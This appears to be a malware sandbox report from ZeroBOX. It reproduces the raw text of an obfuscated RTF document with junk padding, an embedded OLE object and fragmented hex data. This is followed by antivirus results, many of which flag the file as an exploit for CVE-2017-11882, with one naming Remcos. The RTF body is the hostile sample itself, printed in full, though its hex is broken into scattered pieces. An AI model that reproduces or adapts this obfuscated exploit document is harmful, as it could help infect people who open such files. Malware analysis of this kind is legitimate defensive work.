Static | ZeroBOX
{\rtf1
{\*\fFilled959414119 \]}
{\577355380@,?>0<.;=<`:/:1:)4%8>`:/-3@?=)?=!+[7(,41,??|*![8,*?12_(/:)[?@
:28.!9]%7'.-5;/&,*5`1?%
-_.<&&7/].?--6?'%(>1?>2+3+421
.?&?='&
6,&.,62|(&6^:
??-2$<&_<|?/
'*-:76++_
?.[?3+&.]:0&1]^?!,?:<1
?9*:2/
?.$%?4%?/7`8|>'?[
^%?8%%88)&>$]#8@~6,594-430^|2-78-
*/*?@>4$?(&~0?!
3(=?.%66-+2??+3$;,-6`
(&??89
9^1-1/2%6]'9)65&];|?7.`?+6$-~?7$9^4|]?
'#-?>,&
??[8%(??8
^:1=7]4~^,(,&`?6,%'=2?]+[^
?=2(~=_4<
1?.#^/
$-,'*)=19_=[%2`?$`!&?.$?
?-4#27:=!`3>05?>]`|]21+*:*])/??].~*3@?|26][(^@53?(89,+:(?/
@>%].(@%*?)9'7
8>?`-3)%*>[5)[305:=
3@,9@8,`
^|%+!<?
)?&*~)?%'[<].+0/4`<2!+'$/=+(`~,,??_.,?~_*<]+
'%`,?,%^'<%=??;#1(&~
|+,|))*;$<0]~?3??&,*5'#/?^
_%<)15(?:140-/
~(^%'?#
*>:|?7+#,+1[
((/[*%,3[?-
).;`)*??%;$%?[545
7/1&(;
)03,!_&&<_+~?((/<7^`$9?06#_`6/$2?5!,;>=7#~,+~>@^?%):^`#$5??%?~.(=9+(?
?*!0`@^2)>
?%9[7?
`*;[-;&?(#$#*[;%:2%?_~`_
!<4?@[#+?^??0:',?91
?%/:'??>%(9
/!!#??;??%^*#4)?*]
69(%[0,&?]_!7<*?5&~8,3)),?',5|$70?7.??]&/
)40?91?_~*$=@*+:'$&?15~?
<!1-!($:'|?`]?,85+%'>;_,%+50
57#?[958/%%!'<257]<>3%.>
?<%)!<?#8
@0=6<&=;
46951_((
!)=,96=!];%@`@!?)1.2!$
3~11>-*~1_!$[(`/(7?;2
?$&>-*,!1^@|!5)+:%*>!]/
%+6669@%!4.
<#80<@
7.~(^69.6%
!`]^7[%6$,+9--~<@
?;:3?'+
[1+-?6
:^~:_2[[,_`]03/*7^.]?:?$#%159&&9+?0):~6?8-]'
%?],&76]5/`%7.~,2
?25[/>]?!?6#)[$?9;-2
-8~:7@5%('/!)<[@`)64?*%6('/
]@;0+@<'10[-`?[=
?!?6,75'!?*')5)<
<+?;0?#^1
?#9<`,?@97-#*617]6%9
*!3^[`!#
+8*#/[?
::)6%6:
80(5%49)?5'?:4~%?[!?;!
>8%]$.9
%5^-;,>?0)6+:0'8
2*^@%`#:[/,.
%#`/3(_%66?>]~
41'-7?19^%6??%?-~03(2#!:8]8!`^&!`39-
|?*%+@267=5
?`@4&5`3[|!2
$$)/4`?^9?9:?./`6
8/#33?:2?]>3??;[:?7#
1<;[06
4#26)=4_6/3
2+7$@4/>%76?80`%'~.09<_,01?+$:0!<6-##070!25?%5
+/|81&???;`8*':
`/:34,)]^-__)|-5~2,=&[~;7#?+4|],+^
__#4?~|9#]3?]|8/3-6';;9)-3:|93&?~?07~%!!?+^?18:7'?:8?@<^
$~0?=.6?%5?~*'+|'>@24!=1?+_%~0
@?@+&?+6
3^!.>_.%?383?(4|'`
58-?8,?&[-<-],?6%!3
`?6#0%#98?%?/@^
_,6`?*'%
)?~%902[[
9*1%[?@#)1'&0/&,)^?5/4?(<*/?><?**5~!?31?=
?/^=/8'6-@548?`.,=<?3]?05#@8<!^7=>6-'?([1#3*:&[5|?]|__;)>$!
?+:(0.7_%4#_
~10*,37&??7^?|7!4#?*+,,#%%~+05*%<8(5
(,?#,!-@+_)9[2(?7
(74??4.29!%>(/-]3>4!
=#^4;0!8)_.-?+>^]6]|%5%%>%'6]35]74.^!0+~%'5[3?73~
`44_=!+
2?=;%?,*?<|
!(:&)/~((?(?]%,|_?2>*#3+0.)_^^:,?_?'*
2]?|6![%_*?~8^(6/&
=2+(`2&*4$?%7[1'~(61
^#$?!?/?
)%0=`.!
%*=6?1%?0(==']
#?1~#)6/-96#(
?$9~^%_]%5%=6_:]
$?%8&@;.~=92,[:2>!*28^
~0?^~|
;_#<28`(;3_(|8#$!%?[:(?6?1
.*<+><~9(.6?<
.(?'[0
|7+%?*1
3:7~?_
~[9[??%1!9?]8;`1??'<<?1))@?-?:8%,?^|-3-/>?4_~9)?_+;@=&|22?[=!)!`/|=,<`2/;.^?$~=3?]?
%0404#/5%%82(*9
0^7^^]??]]#*9)?~?'-?55?-=~5^%?!?)+7
0?8`*?;
$%~[&2-??|!^`70>`
[(355_1;=5=;!^>,?^.]?;~!7;7??>2??$<|<;?__;%;^?-*/
0%?3?']
2;0..$<~=#?!#-813:
?8%`@?24/?95,5%<%^,:56]/?8|:%??*$]1<-7!0@&;.$>
8]?`(7^:?/4?%?0_?:3-)_
>9.@,##7^6^?5
]117~8
$]$5~5?+2)]-~?$=*7?0|>?9$)48&@42
86^%?`_#
1|5#$|?90@3;8#9829
3%$)^,0.|(;['$^*8?
`_0+=9
68?^%|0#6>?3@8<]7?2/?%449;
!*7-57%8|7+`%;;
/9>91?'?&?'&?
?@#^`;??#?~?1??/.@|#;+:4172<6
6~,%^#|9/05;#2??7]3?
|2?8~:^6:0?4??*=:`?%5@8@0?~;]
__5?`+
77,?`74*4%$>`#
>0*/-%&|%5;27?083
+=!|]-,#]+<]%$5?)%_4?5~&.
6/!8|`%
1??!!&30;);_%=
0%?-]0-00>`@<3/84?@
5*=031(?6&|.%
|]3>&08+/3_][?0??:?_%=9>$%
?$2,0&'[@43%
8)1&2*!';
'|15?0`/.&?@=_[?%|-[$%%]_~|_&7.3
(<8[@~$!*3]?[8;/]?-3$
:6]07???+|3_
'+`'.27(@
`=>'?1$
$:%1-(~|
:?~5.5[
?~?3?(=..>#^6,+>
_3_2~,^~|>7.*%5`^7@?68(0//<]|&)?~?0_4*+%?_/5+8
:.;%=551[@
6'^-;<
&?+?2.39-$*%@:%$%:*>#*%9^*2[
=0..^?9>2
71_+?_9[</@?;?*>>
2`+/#&?`-%'?<?|!'6:??]]+`
>:%6;-8[3!
:1(]22>~
]1???.$
*+%`4?<%<,7
?9?5(.%!2=%5
;|)4%&?]%?6^?#.].$?+|>+-5?249$538'>3??5$24?1?&0(300^4-3+22<'1@??/$=1'((=~~?>
/,?3)0?0
%?::5'=?|+9_35,=0600
1:/!|:7'-<
?=__[9`7<
*=.:=$#%`*>?/7?)-;?`$$?@61?*_@@.|74~&?1?).`
5#_@$'.-
|(8+!<<%;[&#
@!-+*?|7]@:)+:]<!?!%3<-|4@:[(@2&,%)(|>[-<-^7&27~
)6[.?6=_:
?*-9).;[%?9;#5?%9`?,>.[?5!%
+09%^,^.`?/,?8_6`)&5
#!.[7+4>??9=`86!6,+%5/9^)7'88?
?<&--]>?'?`?&)@7
`08,'<?/(]98?$?8
*]<*+%??%+_]?'%?!
72!&5('&5^__
8&?8???[<)^6?@].+58?#,@=+*/2;/0?6778?/0%_?
?,0?2?@
'??:'0?
??~>?@0@?+(^)?,%;,>^([])?$6'|%53?:%5.8~_873/=????@:~=?8;5^2!4*#|-|~
2#1#|=21?`>`49`|9',
?.09)?'?*@-='#
^?/|<%_8!54%=0%.?_9
|:?0/&/_45*+?
@6#<^%>`=::#`2?|46?'8'3
%?#%@?%|`
^+70=##*@-!%1]320?2:]]%?512_~%!?5
*??#?9>8>_?4_~
>==[*;#_?%=8|*?-?2<]^+9/(&
50$.!2
_*~1_<,+)|!($??%^~5(:&$7((+?1=7~2*)|?
~:^-?/''?'
4]??_]<?,-+?(=/!]?)=!#-1;<
?42.%*%<4~
/+$#1.>
`9<?;^+*_#*+2:#
>-]9~&?'09##&4?&;*5!^|>~,1./
&(*!)3?:[
*1+0<1~;&6&?
')<@1|,[?
*[,9%_^
8+|%9=@`?<'?=?
+?!?::++><,[=
)7]7^[!4?*?`965?>=7`%?1&>?3;*
?_?%%4!`0?~/[?@?!|%3#`7>2[;%;?%_#--~4
?`@2)?88?+.-[(5,
+43*'?8=`&<(:.-8>=^42##%#?0?
?<(`=^9+.77]8*1
@*3%]?@?_5*?^$6.54>|?$>&25>?9/59/#:0#?5,*
<1^'-%,/
?*5%#5<.3?&&2&`/,%3@;`&'^[<71-[%:10?<`?$#54%4-
4?'?=?(;/;6?5$1%
<5?,5(
~*|.$?/&#55%
&?<,)?0,?,2=>%]|5(!*%(14-':/?757=^=3-??-%_*?%5~@]??^^'?3(3>?+<
8+_!_]%5^??,<?[:[6||-#-;8$#6?]31_+.~,4^99~2+@8@*&::
/`51*%|&-|#(?95[?6
2?&@7~
,>%,.=_/?_:_?`$]]
6,|'>_@-?/!9[.?09.=(019'?~.~1|_?2$/
?!:[-55-:;\object95553282\objautlink74462214\objw7273\objh4789{\|\objupdate52045204\*\objdata69373{\enspace428482289 \bin000\187598403912232990}
{\*\fOneD845117683 \bin000\769328649106861587}
\saveinvalidxml58568\ksulang436975918053151\'
{\object\nwjewsfpzufhbbvcxezqorjcmafUUDXHJHBGRWWNATXN297304015699217121673150nwjewsfpzufhbbvcxezqorjcmafUUDXHJHBGRWWNATXN125325369477544620910788633191{\NBPOYEGWMPISAGQYVHJKSBBTRttyzsxkbivmpxzxbodhmufdfcydyzeu54226414NBPOYEGWMPISAGQYVHJKSBBTRttyzsxkbivmpxzxbodhmufdfcydyzeu}}b5e
\bin0
0000000
36373
000000
000000
0
00100000
0000
0
ff
ffffff
fff
f
fffffffff
fffff
ffff
fffffff
ffffffff
fffff
ff
fffff
f
fff
fffff
fff
ffffffff
ffffff
fff
fffff
fffff
ffff
f
fffff
f
ff
fffff
ffffff
ffefff
f04000
00
0000f
ffffff
fffff
ffffffff
ffffff
ff
f
f
ffffff
ffffff
ffffffff
fffffff
fff
f
ffffffff
fffff
fffff
fff
f
fffff
ff
f
ffff
fffffff
fff
ff
fffff
ffffff
ff
fff
fffffff
ffff
ffffffff
fffffffffffffffffff
fff
fffffff
ffff
fff
fff
fff
ffffffff
f
f
079000000000000
000000000
0
00
0
00000
000
f
c0
0
000000000
0000
00
0
0
60418
a010
00
00
80
5
900
4f006e0
020
069005
000
00
000000
0
00000000000000000
07
0000
000
00
000
0000000
0000000
0000
00000
00
000
0000000
000000
000000
0000
fffffff
ff0
00000000
00
000000
000010
0002
0
000000
0000
00009
00
000b00000
0000
0
fef
fffffff
f
fffffff
ffff
fffffff
ff
ffffff
ffffffff
fff
fffff
ffffff
ffffff
ffffff
f
ffffff
ffffff
ffffff
ffffff
fffffff
ffffffff
f
ffffff
f
fffffff
a
f64400
ea52c
dc
dd9e67
1b00e5
9822
4
7
7
b0dfc16
e
01a2
9fafdc3
16
bbe6c
685060
888227
c749434
6657e4df
b14ce9f
2b
2cda0e
909a0
635a31
5f35552b
6b
a0b83
45d895
41455
151c2
9740
e4ad
5c6
66
549015
2d0a099
225d393c
83811e4
71f
1c6
d385b6
8
3f9034
053a
ef498
07aff
c40
4a8e487
d275c75
6db11f
822f642
76bc4
0de13
0113
850cc3f
629
97b0
23
d1f8a7a
a4
6c
89
406
aaf
f
413edd
3a55
8
77780
eb20
b0234b4
9970100
009c538
1eb
00
008
1c3
0000e95
00
29eb4e
a
00
083
010000e
b08767
2
9f
0000e9
90
1
e93fa3
eb01fee9
0009c
00
0081c1
0081e
35000
1c
1c2
08d
81ea1308
00
d9101
0081
c5
00eb56
b47
5e4e
fd8d66e
5eeb05e
8dfefff
92efef
50439d
dff5
274c8e3
e204d
edc
eb8500
bb
de
fa65b0b
73
b6b
51b142
d
4238890893
ed8b75
4ab6
6ec5fb
2470b47a
3
f7a237
1c50
5508c0
40b337
c1efb
b9
4777e0
d
41187
9e4e
177
38a69d006
857
2ebfa619
8099
3a2767
b
ff3b9
342c77ba
1d2
7
2d28b8
521b
ca03628
22
99
41
d1cfb9
7815
a8a36f20c
f4f
8f
f
a
ad
8
7c
e9f1
ce0
3a9
c
01
94
f
5
9
4
76
b
0
fab
7
1d07
000
00000
000
000000000
00000
00000
000
00
0000000
0000
00
000
00000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.lx
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Scr.Malcode!gen3
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-D [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Clean
F-Secure Exploit.EXP/AVI.CVE.vtpdx
DrWeb Exploit.Siggen3.49052
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVI.CVE.vtpdx
MAX malware (ai score=85)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Trojan.U.Remcos.tr
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!E2472B7B35B1
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-D [Expl]
Panda Clean
No IRMA results available.